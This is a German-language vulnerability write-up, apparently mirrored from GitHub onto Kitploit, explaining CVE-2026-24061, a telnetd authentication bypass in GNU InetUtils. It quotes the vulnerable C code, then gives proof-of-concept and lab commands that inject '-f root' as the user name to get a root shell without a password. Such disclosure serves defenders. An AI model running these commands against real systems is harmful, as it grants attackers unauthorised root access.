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CVE-2026-24061-GNU-InetUtils-telnetd — GNU-InetUtils-telnetd-Authentication-Bypass-Vulnerability | Kitploit
Tools/GitHubGitHub/anxs3c/cve-2026-24061-gnu-inetutils-telnetd
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GitHubanxs3c/cve-2026-24061-gnu-inetutils-telnetd

CVE-2026-24061-GNU-InetUtils-telnetd

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vor 2 MonatenNoch nicht geprüft

CVE-2026–24061 : GNU InetUtils telnetd Authentifizierungsbypass-Schwachstelle


CVE-2026–24061 ist eine kritische Schwachstelle im telnetd-Dienst von GNU InetUtils

CVE-ID : CVE-2026–24061
Schweregrad : Kritisch (CVSS 9.8)
Angriffsvektor : Netzwerk
Erforderliche Authentifizierung : Keine
Auswirkung : Vollständige Systemkompromittierung (Root-Zugriff)

Die Schwachstelle resultiert aus einer unsachgemäßen Behandlung der USER-Umgebungsvariablen während des Telnet-Sitzungsaufbaus. Dieser Wert wird direkt in die Argumentliste von /usr/bin/login übernommen, ohne jegliche Bereinigung oder Validierung. Infolgedessen kann ein entfernter Angreifer diese Eingabe manipulieren, um Kommandozeilenoptionen einzuschleusen, die Authentifizierung zu umgehen und sofort eine Root-Shell zu erhalten.


Schwachstellen-Codeausschnitt

Der folgende Ausschnitt aus telnetd/utility_file.c zeigt, wie benutzergelieferte Werte direkt ohne Validierung verwendet wurden:

root@kitploit:~
case 'h':
  return xstrdup (remote_hostname);
case 'l':
  return xstrdup (local_hostname);
case 'L':
  return xstrdup (line);
case 't':
  q = strchr (line + 1, '/');
  if (q)
    q++;
  else
    q = line;
  return xstrdup (q);
case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
  return user_name ? xstrdup (user_name) : NULL;
case 'U':
  return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");

Problem :

Benutzergesteuerte Werte USER, terminaltype und line werden ohne Validierung verwendet. Sie werden direkt in interne Strukturen kopiert.
Da diese Werte von einem entfernten Client über das Telnet-Protokoll beeinflusst werden können, entsteht hier ein kritischer Injektionspunkt.

Angriffsablauf :

  • Verbindung zum Ziel-telnetd-Dienst herstellen
  • Die Telnet-Option NEW_ENVIRON verwenden, um USER= „ -f root“ zu setzen
  • Der Server verarbeitet diesen Wert ohne Validierung
  • Das injizierte Flag wird interpretiert, was potenziell zu Authentifizierungsbypass oder Privilegieneskalation führt

Proof of Concept

Ein minimaler Proof of Concept zeigt, wie die Schwachstelle ausgenutzt werden kann:

root@kitploit:~
USER='-f root' telnet -a <ipaddr>
telnet -l -'f root' ip_addr

Dieser Befehl injiziert während des Telnet-Handshakes einen bösartigen USER-Wert, der auf anfälligen Systemen zu unbefugtem Root-Zugriff führen kann.


Praktisches Labor :

Ich habe ein Labor mit CVE-2026–24061 durchgeführt, bei dem ich die Schwachstelle ausgenutzt habe, indem ich telnet -l '-f root' 176.16.2.153 verwendet habe, um bösartige Argumente zu injizieren und einen Authentifizierungsbypass zu erreichen. Letztendlich habe ich Root-Zugriff auf das Zielsystem erhalten.


Was intern passiert :

  1. l : bezieht sich auf den Login-Namen
  2. '-f root': Wert, der als Benutzername übergeben wird (-f: keine Passwortprüfung – Authentifizierung überspringen, root: Zielbenutzer)
  3. Der anfällige Server führt keine Bereinigung durch
  4. Er interpretiert -f als Flag, nicht als Teil eines Benutzernamens

Dadurch konnte ich bösartige Argumente injizieren, die Authentifizierung umgehen und Root-Zugriff auf das Zielsystem erlangen.

Technische Zusammenfassung

Der Fehler liegt darin, wie telnetd die Telnet-Option NEW_ENVIRON behandelt. Sie erlaubt es einem Client, Umgebungsvariablen zu definieren, die an die /usr/bin/login-Binärdatei des Systems übergeben werden. Da telnetd die USER-Variable nicht bereinigt, kann ein Angreifer das Flag -f (Force-Login) injizieren, das dem Login-Dienstprogramm mitteilt, die Passwortüberprüfung zu überspringen und sofort eine Sitzung für den angegebenen Benutzer (normalerweise root) zu gewähren.

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